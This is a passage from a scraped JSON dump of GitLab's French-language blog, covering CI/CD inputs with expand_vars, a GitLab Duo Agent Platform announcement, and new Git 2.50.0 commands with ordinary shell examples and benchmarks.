règles sont évaluées à partir de la référence littérale d'une variable (comme `\"${CI_COMMIT_REF_SLUG}\"`) plutôt que sa variable développée (comme `\"production\"`). Il en résulte des règles qui ne se déclenchent pas comme prévu et brisent la logique conditionnelle du pipeline.\n\n\n**Remarques importantes concernant expand_vars :**\n\n\n* Seules les variables qui peuvent être utilisées avec le terme *include* sont prises en charge.  \n\n* Les variables doivent être rendues accessibles (non marquées comme protégées/masquées).  \n\n* L'expansion des variables imbriquées n'est pas prise en charge.  \n\n* Les conditions de règles avec `expand_vars` doivent être correctement citées : `'\"$[[ inputs.name | expand_vars ]]\" == \"value\"'`.\n\n\nCe mécanisme résout la limitation d'expansion de variables à un seul niveau et fonctionne pour toute logique conditionnelle qui nécessite de comparer des valeurs de variables entièrement résolues.\n\n\n### Chaînage de fonctions pour un traitement avancé\n\n\nEn plus de `expand_vars`, vous pouvez chaîner d'autres fonctions telles que `truncate` pour raccourcir les valeurs aux restrictions de nommage (par exemple, celles imposées par les noms de ressources [Kubernetes](https://about.gitlab.com/fr-fr/blog/2024/07/25/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes\")). Vous pouvez ainsi créer des pipelines plus sophistiqués, capables de traiter les paramètres tout en maintenant la sécurité et la prévisibilité qu'offrent les intrants CI/CD.\n\n\n```yaml\n\nspec:  \n  inputs:\n    service_identifier:\n      default: 'service-$CI_PROJECT_NAME-$CI_COMMIT_REF_SLUG'\n---\n\n\ncreate-resource:\n  script:\n    - resource_name=$[[ inputs.service_identifier | expand_vars | truncate(0,50) ]]\n```\n\n\nCette capacité d'intégration vous permet d'adopter progressivement les intrants CI/CD tout en tirant parti de votre infrastructure de variables existante, ce qui facilite la migration vers le nouveau système.\n\n\n### Des composants uniquement aux pipelines CI complets\n\n\nJusqu'à la version GitLab 17.11, les intrants n'étaient réservés qu'aux composants et templates inclus via la syntaxe `include:`, ce qui limitait leur utilisation aux configurations CI/CD réutilisables, mais ne répondait pas au besoin plus large de personnalisation dynamique des pipelines.\n\n\n### Prise en charge des intrants à l'échelle du pipeline\n\n\nÀ partir de GitLab 17.11, les intrants peuvent désormais être utilisés pour modifier en toute sécurité le comportement du pipeline dans tous les contextes d'exécution associés afin de remplacer le recours traditionnel aux variables de pipeline. Cette prise en charge étendue inclut notamment les pipelines suivants :\n\n\n* Pipelines planifiés : définissez des intrants avec des valeurs par défaut pour les exécutions automatisées et autorisez le remplacement manuel si nécessaire.  \n\n* Pipelines en aval : transmettez des intrants structurés aux pipelines enfants et multi-projets, avec une validation et une sécurité des types garanties.  \n\n* Pipelines manuels : proposez une interface claire et validée pour la saisie des intrants.\n\n\nCes premières améliorations, auxquelles s'ajouteront prochainement d'autres fonctionnalités, permettent aux équipes de moderniser leurs pipelines tout en assurant une rétrocompatibilité progressive. Une fois les intrants CI/CD pleinement adoptés, vous pouvez désactiver les variables de pipeline pour garantir un environnement CI/CD plus sécurisé et prévisible.\n\n\n## Résumé\n\n\nLa migration des variables vers les intrants CI/CD représente plus qu'une simple mise à niveau technique : cette évolution garantit des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") plus faciles à maintenir, plus prévisibles et plus sécurisés. Même si les variables continuent de servir des objectifs importants dans de nombreux scénarios de configuration, les intrants CI/CD fournissent les capacités de transmission de paramètres tant attendues par les équipes de développement.\n\n\nConscients que les variables sont profondément intégrées dans les workflows actuels, nous avons conçu des passerelles entre les deux systèmes. La fonction `expand_vars` et d'autres capacités d'intrant permettent de tirer parti de ce mécanisme, mais aussi de votre infrastructure de variables existante.\n\n\nEn commençant par de nouveaux composants et templates, puis en migrant progressivement les workflows critiques, vous constaterez rapidement les avantages de contrats explicites, d'une détection précoce des erreurs et d'une automatisation plus fiable qui s'étend à l'ensemble de votre entreprise. De plus, l'adoption des intrants CI/CD constitue un socle idéal pour tirer pleinement parti du [catalogue CI/CD de GitLab](https://gitlab.com/explore/catalog). Grâce à leurs interfaces typées, les composants réutilisables deviennent des fondamentaux puissants pour structurer vos workflows [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que l'approche DevOps ?\"). Nous reviendrons sur ce sujet en détail dans un prochain article.\n\n\nAdopter les intrants CI/CD aujourd'hui, c'est investir dans des pipelines plus robustes, plus lisibles, plus compréhensibles pour demain. Même si vous utilisez déjà un système basé sur des variables, les intrants peuvent être intégrés progressivement afin d'assurer une transition en douceur.\n\n\n## Prochaines étapes\n\n\nNous prévoyons d'étendre les capacités actuelles des intrants en vue de résoudre deux enjeux clés : améliorer le déclenchement des pipelines avec des options en cascade qui [s'ajustent dynamiquement au choix de l'utilisateur](https://gitlab.com/gitlab-org/gitlab/-/issues/520094) et introduire des intrants au niveau des jobs afin de pouvoir [relancer des jobs spécifiques avec des paramètres différents](https://gitlab.com/groups/gitlab-org/-/epics/17833). Nous vous encourageons à suivre ces discussions, à partager vos retours et à contribuer à façonner le développement de ces fonctionnalités via notre [ticket dédié aux retours d'expérience](https://gitlab.com/gitlab-org/gitlab/-/issues/407556).\n",[1007],"Dov Hershkovitch","2025-08-07",[110],{"featured":6,"template":683,"slug":1011},"ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline","content:fr-fr:blog:ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline.yml","Ci Cd Inputs Secure And Preferred Method To Pass Parameters To A Pipeline","fr-fr/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline.yml","fr-fr/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline",{"_path":1017,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1018,"content":1022,"config":1027,"_id":1029,"_type":16,"title":1030,"_source":17,"_file":1031,"_stem":1032,"_extension":20},"/fr-fr/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops",{"noIndex":6,"title":1019,"description":1020,"ogImage":1021,"ogTitle":1019,"ogDescription":1020},"GitLab Duo Agent Platform : le DevSecOps intelligent","La plateforme DevSecOps GitLab Duo Agent Platform orchestre la collaboration entre développeurs et agents d'IA tout au long du SDLC avec l'IA agentique.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750687578/esmflevxk5bf3eezjhwk.png",{"heroImage":1021,"date":1023,"title":1019,"description":1020,"authors":1024,"body":1025,"category":697,"tags":1026},"2025-07-03",[951],"Découvrez GitLab Duo Agent Platform, la prochaine évolution de GitLab Duo Workflow : cette plateforme innovante étend les fonctionnalités d'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\") à l'ensemble du cycle de développement logiciel et permet aux équipes [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") de travailler en parallèle avec plusieurs agents d'IA spécialisés.\n\nVoici à quoi pourrait ressembler une de vos journées de travail :\n\n* Vous demandez à un agent d'IA d'étudier en détail un epic en cours, de résumer les contributions de la semaine précédente et de suggérer une publication pour annoncer les dernières fonctionnalités.\n* En parallèle, vous déléguez à plusieurs autres agents d'IA l'analyse de bogues d'accessibilité en leur demandant d'appliquer directement les corrections nécessaires dans le code.\n* Pendant ce temps, un autre agent d'IA relit vos modifications complexes et vous fournit des commentaires et suggestions avant une revue de code en bonne et due forme par un membre de votre équipe.\n* Enfin, lorsque l'équipe de sécurité vous signale une nouvelle vulnérabilité qui doit faire l'objet d'une investigation dans l'ensemble de votre projet, vous confiez cette tâche à votre agent d'IA dédié à la sécurité.\n\nToutes ces opérations sont exécutées simultanément pour vous aider à vous concentrer sur des tâches à forte valeur ajoutée : décisions d'architecture, résolution créative de problèmes et travail technique stratégique. Avec GitLab Duo Agent Platform, vous pouvez déléguer des tâches à cinq, dix, voire cent agents spécialisés, qui disposent tous du contexte complet de votre projet : votre code, les job logs CI, les tâches de planification, et bien plus encore. Vous automatisez ainsi vos tâches fastidieuses afin de pouvoir vous concentrer sur le travail qui vous passionne vraiment.\n\n**Il ne s'agit pas là de remplacer les équipes de développement, mais d'amplifier leur créativité et leur expertise en éliminant les points de friction liés aux tâches routinières.** C'est l'avenir que nous façonnons avec GitLab Duo Agent Platform.\n\n## Qu'est-ce que GitLab Duo Agent Platform ?\n\nGitLab Duo Agent Platform facilite la collaboration entre plusieurs équipes de développement et agents d'IA tout au long du cycle du développement logiciel, afin de les aider à améliorer considérablement leur productivité et à réduire la durée de leurs cycles de livraison.\n\nReposant sur la base sécurisée de GitLab, GitLab Duo Agent Platform est personnalisable et extensible. La plateforme permet aux équipes de développement de créer des agents capables de résoudre toutes sortes de problématiques d'ingénierie logicielle, en tirant parti du contexte global du projet à chaque étape du développement logiciel.\n\nGitLab Duo Agent Platform ne se limite pas à la création de code. La plateforme propose des agents spécialisés et des workflows personnalisés qui peuvent vous aider à réaliser une liste presque illimitée de tâches, notamment :\n\n* L'implémentation de tickets\n* Les migrations à grande échelle/mises à niveau des dépendances\n* La rédaction automatique de documentations et de publications pour annoncer la sortie de nouvelles fonctionnalités\n* La réparation de [pipelines en échec](https://about.gitlab.com/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/ \"Echec de pipeline\")\n* La recherche assistée lors d'incidents\n* La recherche approfondie de statuts et d'informations sur différents sujets\n* La gestion du backlog\n* La résolution de vulnérabilités\n* Les revues de certains types de code spécifiques (p. ex., base de données)\n* La création rapide d'outils internes à partir des composants déjà disponibles\n* Et plus encore !\n\nVous pourrez utiliser nos agents prêts à l'emploi, mais aussi les personnaliser et enrichir leurs capacités. Nous testons actuellement la version bêta de GitLab Duo Agent Platform avec l'aide de dizaines de clients et nous ouvrirons bientôt l'accès à d'autres équipes.\n\nDécouvrez une démonstration de GitLab Duo Agent Platform :\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1095679084?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Platform Demo Clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Outils, modèles et agents : à vous de choisir\n\nConformément à notre engagement de proposer une plateforme ouverte, les agents GitLab interagissent de manière fluide avec les outils d'écriture de code de votre choix via les protocoles Model Context Protocol (MCP) et Agent2Agent (A2A), que vous utilisiez Cursor, Claude Code, Windsurf, OpenAI Codex ou d'autres.\n\nLa plateforme accepte les contributions de code de n'importe quel outil de développement de votre pile, que ce code ait été écrit par un développeur ou généré par un agent d'IA. Vos workflows existants et vos outils préférés continueront à fonctionner de manière homogène lorsque vous intégrerez les fonctionnalités agentiques.\n\nGitLab Duo Agent Platform fonctionne avec les modèles de langage approuvés qui [répondent à nos critères de sélection](https://about.gitlab.com/fr-fr/ai-transparency-center/#ai-continuity-plan). Pour les entreprises qui ont des exigences strictes en matière de sécurité, la plateforme prend en charge les modèles de GitLab Duo Self-Hosted approuvés qui s'exécutent dans des environnements air-gapped. Vos exigences en matière d'infrastructure et vos règles de sécurité ne limiteront pas votre capacité à tirer parti du développement agentique.\n\n## Le contexte fait la différence, vos agents GitLab Duo aussi\n\nLa différence entre un outil d'IA utile et un agent véritablement intelligent se résume au contexte. Avec GitLab Duo Agent Platform, les agents ne travaillent pas de manière isolée : ils sont profondément intégrés à la plateforme de développement.\n\nChaque agent comprend automatiquement la vue d'ensemble de vos projets, y compris vos tickets ouverts et leur historique, les merge requests qui les ont résolus, la structure et la logique de votre code, la configuration de vos [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), les risques de sécurité détectés, les exigences de conformité ainsi que les relations complexes entre tous ces éléments.\n\nTout comme les membres de votre équipe, les agents disposent de tout le contexte nécessaire pour vous aider à livrer des logiciels sécurisés plus rapidement. Ils ne se contentent pas de répondre à des questions sur le code, ils sont également en mesure de fournir des analyses sur l'impact potentiel d'un changement sur votre pipeline de déploiement ou de suggérer des améliorations de sécurité en fonction de vos règles de conformité. Plus votre équipe travaillera au sein de la plateforme DevSecOps de GitLab, plus vos agents deviendront intelligents.\n\n## Des équipes plus productives avec les agents d'IA\n\nIl est presque aussi simple d'établir un climat de confiance avec les agents d'IA qu'avec les nouveaux membres d'une équipe. Vous devez tout d'abord vérifier leur travail, puis comprendre leur approche et enfin augmenter progressivement leurs responsabilités à mesure qu'ils prouvent leurs compétences.\n\nC'est ainsi que nous avons pensé notre workflow d'approbation des agents. Avant qu'un agent apporte des modifications à votre code ou à votre environnement, il vous présentera un plan clair : sa compréhension du problème, l'approche qu'il prévoit d'adopter et les actions spécifiques qu'il souhaite effectuer. Vous aurez ensuite la possibilité d'examiner l'approche qu'il aura choisie, de l'approuver ou de donner de nouvelles instructions si nécessaire. Au fil du temps, les agents fourniront un travail de plus en plus qualitatif, vous pourrez leur accorder une plus grande autonomie pour la réalisation des tâches répétitives, tout en continuant à superviser les tâches complexes ou critiques.\n\n## Une plateforme conçue pour la communauté et adaptée à vos besoins\n\nGitLab a toujours évolué grâce aux contributions de sa communauté. Cette année, nous avons franchi une étape importante, car les contributions de nos clients ont atteint un niveau record. Nous étendons désormais cette même énergie collaborative aux agents d'IA grâce à notre approche de framework ouvert.\n\nGitLab Duo Agent Platform ne se limite pas aux agents que nous créons, mais vous donne, à vous ainsi qu'à la communauté au sens large, les moyens de créer des agents spécialisés capables de résoudre vos défis d'ingénierie uniques. Que vous ayez besoin d'un agent qui comprend vos normes de codage spécifiques, qui s'intègre à votre chaîne d'outils personnalisée ou qui gère des tâches propres à votre domaine, la plateforme vous fournira les éléments de base nécessaires pour y parvenir.\n\nCe modèle crée un cercle vertueux qui tire parti de la force de la communauté GitLab grâce au partage mondial, à l'instar de notre [catalogue CI/CD](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/). La diversité des expériences de nos clients est source d'innovation. Les retours que nous recevons des entreprises renforcent la fiabilité et la sécurité. Et les solutions partagées profitent à tous. C'est cette même approche collaborative qui a fait le succès de GitLab et qui s'applique désormais au développement agentique.\n\n## Premiers pas avec GitLab Duo Agent Platform\n\nSi vous avez testé [GitLab Duo Agentic Chat](https://about.gitlab.com/fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover/), désormais inclus dans chaque licence utilisateur GitLab.com GitLab 18 Premium et Ultimate, vous avez déjà eu un aperçu des possibilités offertes par l'utilisation d'agents d'IA dans votre workflow de développement.\n\nPour découvrir les capacités de GitLab Duo Agent Platform et les projets sur lesquels nous travaillons actuellement, visionnez les [démonstrations incluses dans notre événement de lancement de GitLab 18](https://about.gitlab.com/fr-fr/eighteen/).\n\nVous souhaitez être parmi les premiers à l'essayer ? Inscrivez-vous sur la [liste d'attente de la version bêta de GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo/agent-platform/). Cet été, nous ouvrirons l'accès à d'autres équipes. De nouvelles fonctionnalités d'agent sortiront tout au long de l'année dans les prochaines versions de GitLab 18. Nous prévoyons de proposer GitLab Duo Agent Platform en disponibilité générale cet hiver.\n\n*Avertissement : cet article de blog contient des informations relatives aux produits, fonctionnalités et caractéristiques à venir. Il est important de noter que celles-ci ne sont fournies qu'à titre informatif. Veuillez ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés dans cet article sont susceptibles de changer ou d'être retardés. Le développement, la sortie et le calendrier de tout produit ou de toute fonctionnalité restent à la seule discrétion de GitLab Inc.*\n\n## En savoir plus\n\n- [Du vibe coding à l'IA agentique : une roadmap pour les responsables techniques](https://about.gitlab.com/the-source/ai/from-vibe-coding-to-agentic-ai-a-roadmap-for-technical-leaders/)\n\n- [Automatisation DevOps et agents d'IA](https://about.gitlab.com/topics/agentic-ai/devops-automation-ai-agents/)\n\n- [Développement logiciel augmenté par l'IA : l'IA agentique dédiée au DevOps](https://about.gitlab.com/topics/agentic-ai/ai-augmented-software-development/)\n\n- [Analyse de code pilotée par l'IA pour une sécurité renforcée](https://about.gitlab.com/topics/agentic-ai/ai-code-analysis/)\n",[699,784,827,676],{"featured":6,"template":683,"slug":1028},"gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops","content:fr-fr:blog:gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops.yml","Gitlab Duo Agent Platform What Is Next For Intelligent Devsecops","fr-fr/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops.yml","fr-fr/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops",{"_path":1034,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1035,"content":1040,"config":1048,"_id":1050,"_type":16,"title":1051,"_source":17,"_file":1052,"_stem":1053,"_extension":20},"/fr-fr/blog/what-s-new-in-git-2-50-0",{"noIndex":6,"title":1036,"description":1037,"ogTitle":1036,"ogDescription":1038,"ogImage":1039},"Nouveautés de Git 2.50.0","Découvrez les contributions de l'équipe Git de GitLab et de la communauté Git, dont git-diff-pairs(1) et git-rev-list(1), pour la mise à jour de références par lot.\n\n\n","Découvrez les contributions de l'équipe Git de GitLab et de la communauté Git, dont git-diff-pairs(1) et git-rev-list(1), pour la mise à jour de références par lot.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_1640,h_1000,c_lfill/v1749663087/Blog/Hero%20Images/git3-cover.png",{"body":1041,"title":1036,"description":1042,"heroImage":1039,"authors":1043,"date":1045,"category":928,"tags":1046},"Le projet Git a récemment publié la [version 2.50.0 de\nGit](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u).\nDécouvrons les points forts de cette nouvelle version, qui comprend les\ncontributions de l'équipe Git de GitLab et de la communauté Git.\n\n\n## Nouvelle commande git-diff-pairs(1)\n\n\nLes diffs sont au cœur de chaque revue de code et affichent toutes les modifications apportées entre deux révisions. Dans GitLab, ils apparaissent à plusieurs endroits, généralement dans l'onglet [« Modifications »](https://docs.gitlab.com/user/project/merge_requests/changes/) d'une merge request. En arrière-plan, la génération de diff est optimisée par [`git-diff(1)`](https://git-scm.com/docs/git-diff).\n\n\nPar exemple :\n\n\n```shell\n\n$ git diff HEAD~1 HEAD\n\n```\n\n\nCette commande renvoie le diff complet de tous les fichiers modifiés. Son utilisation peut poser un problème d'évolutivité, car le nombre de fichiers modifiés entre différentes versions du code peut être très important, et le backend GitLab risque de dépasser une délai d'attente maximal qu'il s'impose pour exécuter cette commande. Pour les grands ensembles de modifications, il est préférable de pouvoir diviser le calcul des diffs en blocs plus petits et plus faciles à assimiler.\n\n\nPour ce faire, vous pouvez utiliser [`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree/fr) pour récupérer des informations sur tous les fichiers modifiés :\n\n\n```shell\n\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n\n:100644 100644 c9adfed339 99acf81487 M Documentation/RelNotes/2.50.0.adoc\n\n:100755 100755 1047b8d11d 208e91a17f M GIT-VERSION-GEN\n\n```\n\n\nGit appelle ce résultat le [format « brut »](https://git-scm.com/docs/git-diff-tree/fr). En bref, chaque ligne de sortie répertorie les paires de fichiers et les métadonnées associées en lien avec les modifications apportées entre les révisions de début et de fin. En comparaison avec la génération de la sortie de « correctif » pour les modifications importantes, ce processus est relativement rapide et fournit un résumé de tous les éléments qui ont été modifiés. Cette commande peut éventuellement effectuer détection de changement de nom en ajoutant `-M` pour vérifier si les modifications identifiées étaient dues à un changement de nom de fichier.\n\n\nAvec ces informations, nous pourrions utiliser `git-diff(1)` pour calculer chacun des diffs de paire de fichiers individuellement.\n\n\\\n\nPar exemple, nous pouvons fournir directement des ID de blob :\n\n\n```shell\n\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n\n```\n\n\nNous pouvons répéter ce processus pour chacune des paires de fichiers, mais lancer un processus Git distinct pour chaque diff de fichier n'est pas une approche efficace. De plus, lorsque vous utilisez des ID de blob, le diff perd certaines informations contextuelles telles que le statut de modification et les modes de fichier qui sont stockés dans l'objet arbre parent. En réalité, nous avons besoin d'un mécanisme permettant d'alimenter des informations « brutes » sur les paires de fichiers et de générer la sortie de correctifs correspondants.\n\n\nAvec la version 2.50.0, Git dispose d’une nouvelle commande intégrée `git-diff-pairs(1)`, qui prend en charge les informations de paires de fichiers au format « brut » en tant qu'entrée sur stdin pour déterminer avec précision les correctifs à générer.\n\n\nL'exemple suivant montre comment cette commande peut être utilisée :\n\n\n```shell\n\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n\n```\n\n\nDe cette façon, la sortie générée est identique à celle obtenue avec `git-diff(1)`. En utilisant une commande distincte pour générer la sortie de correctif, la sortie « brute » de `git-diff-tree(1)` peut être divisée en lots plus petits de paires de fichiers et envoyée vers des processus `git-diff-pairs(1)` distincts. Cette approche résout le problème d'évolutivité mentionné précédemment, car le calcul des diffs ne s'effectue plus en une seule fois. Les futures versions de GitLab pourraient s'appuyer sur ce mécanisme pour améliorer les performances de génération de diff, en particulier lorsque de grands ensembles de modifications sont concernés.\n\n\nPour plus d'informations sur ce changement, consultez ce [fil de discussion](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n\\\n\nCe projet a été mené par [Justin Tobler](https://gitlab.com/justintobler).\n\n\n## Mises à jour des références par lots\n\n\nGit fournit la commande `git-update-ref(1)` pour effectuer des mises à jour de références. Lorsqu'elle est associée à `--stdin`, il est possible de regrouper plusieurs mises à jour de références en une seule transaction en indiquant des instructions pour chaque mise à jour à effectuer sur stdin. La mise à jour des références par lot offre également un comportement atomique : si une seule mise à jour échoue, la transaction est annulée et aucune référence n'est mise à jour.\n\n\nVoici un exemple illustrant ce comportement :\n\n\n```shell\n\n# Create repository with three empty commits and branch named \"foo\"\n\n$ git init\n\n$ git commit --allow-empty -m 1\n\n$ git commit --allow-empty -m 2\n\n$ git commit --allow-empty -m 3\n\n$ git branch foo\n\n# Print out the commit IDs\n\n$ git rev-list HEAD\n\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n5a6b339a8ebffde8c0590553045403dbda831518\n\n# Attempt to create a new reference and update existing reference in transaction.\n\n# Update is expected to fail because the specified old object ID doesn’t match.\n\n$ git update-ref --stdin \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n# The \"bar\" reference was not created.\n\n$ git switch bar\n\nfatal: invalid reference: bar\n\n```\n\n\nEn comparaison avec la mise à jour de nombreuses références une par une, la mise à jour par lot est également beaucoup plus efficace. Toutefois, dans certaines circonstances, il peut être acceptable qu'un sous-ensemble des mises à jour de références demandées échoue. Cela ne remet pas en cause les gains de productivité obtenus grâce aux mises à jour par lot.\n\n\nAvec cette version, `git-update-ref(1)` met à disposition la nouvelle option `--batch-updates`, qui permet aux mises à jour de se poursuivre même lorsqu'une ou plusieurs mises à jour de références échouent.\n\n\nDans ce mode, les échecs individuels sont signalés dans le format suivant :\n\n\n```text\n\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP \u003Crejection-reason> LF\n\n```\n\n\nCela permet de poursuivre les mises à jour de références réussies, tout en fournissant un contexte indiquant celles qui ont été rejetées et pour quelle raison.\n\n\nVoici ce que nous obtenons en utilisant le même exemple de dépôt que dans l'exemple précédent :\n\n\n```shell\n\n# Attempt to create a new reference and update existing reference in transaction.\n\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n# The \"bar\" reference was created even though the update to \"foo\" was rejected.\n\n$ git switch bar\n\nSwitched to branch 'bar'\n\n```\n\n\nCette fois, avec l'option `--batch-updates`, la création de la référence a réussi même si la mise à jour n'a pas fonctionné. Cette série de correctifs est un aperçu des futures améliorations des performances de `git-fetch(1)` et `git-receive-pack(1)` lors de la mise à jour de références par lot.\n\n\nPour plus d'informations, consultez ce [fil de discussion](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/).\n\n\nCe projet a été mené par [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## Nouvelle option de filtre pour git-cat-file(1)\n\n\nAvec `git-cat-file(1)`, il est possible d’afficher des informations pour tous les objets contenus dans le dépôt via l'option `--batch–all-objects`.\n\n\nEn voici un exemple :\n\n\n```shell\n\n# Setup simple repository.\n\n$ git init\n\n$ echo foo >foo\n\n$ git add foo\n\n$ git commit -m init\n\n# Create an unreachable object.\n\n$ git commit --amend --no-edit\n\n# Use git-cat-file(1) to print info about all objects including unreachable objects.\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\n\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nDans certains cas, un utilisateur peut effectuer une recherche dans tous les objets du dépôt, mais n'afficher qu'un sous-ensemble basé sur un attribut spécifique.\n\n\nPar exemple, si nous voulons voir uniquement les objets qui correspondent à des commits, nous pouvons utiliser `grep(1)` :\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nBien que cela fonctionne, un des inconvénients du filtrage de la sortie est que `git-cat-file(1)` doit toujours parcourir tous les objets du dépôt, même ceux qui n'intéressent pas l'utilisateur. Cette approche peut se révéler assez inefficace.\n\n\nAvec la version 2.50.0, `git-cat-file(1)` dispose désormais de l'option `--filter`, qui n'affiche que les objets correspondant aux critères spécifiés. Celle-ci est similaire à l'option du même nom pour `git-rev-list(1)`, mais seul un sous-ensemble des filtres est pris en charge : `blob:none`, `blob:limit=`, ainsi que `object:type=`.\n\n\nComme dans l'exemple précédent, il est possible de filtrer les objets par type avec [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\") directement :\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nCette approche facilite le traitement par Git, mais également la recherche dans les grands dépôts contenant de nombreux objets. Si un dépôt dispose d'index bitmap, Git peut rechercher efficacement des objets d'un type spécifique, sans scanner le fichier d'empaquetage («packfile»), ce qui accélère de manière considérable le processus.\n\n\nLes benchmarks effectués sur le [dépôt Chromium](https://github.com/chromium/chromium.git) montrent des améliorations significatives :\n\n\n```text\n\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n\nTime (mean ± σ): 82.806 s ± 6.363 s [User: 30.956 s, System: 8.264 s]\n\nRange (min … max): 73.936 s … 89.690 s 10 runs\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n\nTime (mean ± σ): 20.8 ms ± 1.3 ms [User: 6.1 ms, System: 14.5 ms]\n\nRange (min … max): 18.2 ms … 23.6 ms 127 runs\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n\nTime (mean ± σ): 1.551 s ± 0.008 s [User: 1.401 s, System: 0.147 s]\n\nRange (min … max): 1.541 s … 1.566 s 10 runs\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n\nTime (mean ± σ): 11.169 s ± 0.046 s [User: 10.076 s, System: 1.063 s]\n\nRange (min … max): 11.114 s … 11.245 s 10 runs\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n\nTime (mean ± σ): 67.342 s ± 3.368 s [User: 20.318 s, System: 7.787 s]\n\nRange (min … max): 62.836 s … 73.618 s 10 runs\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n\nTime (mean ± σ): 13.032 s ± 0.072 s [User: 11.638 s, System: 1.368 s]\n\nRange (min … max): 12.960 s … 13.199 s 10 runs\n\nSummary\n\ngit cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n\n74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n\n538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n\n627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n\n3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n\n3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered 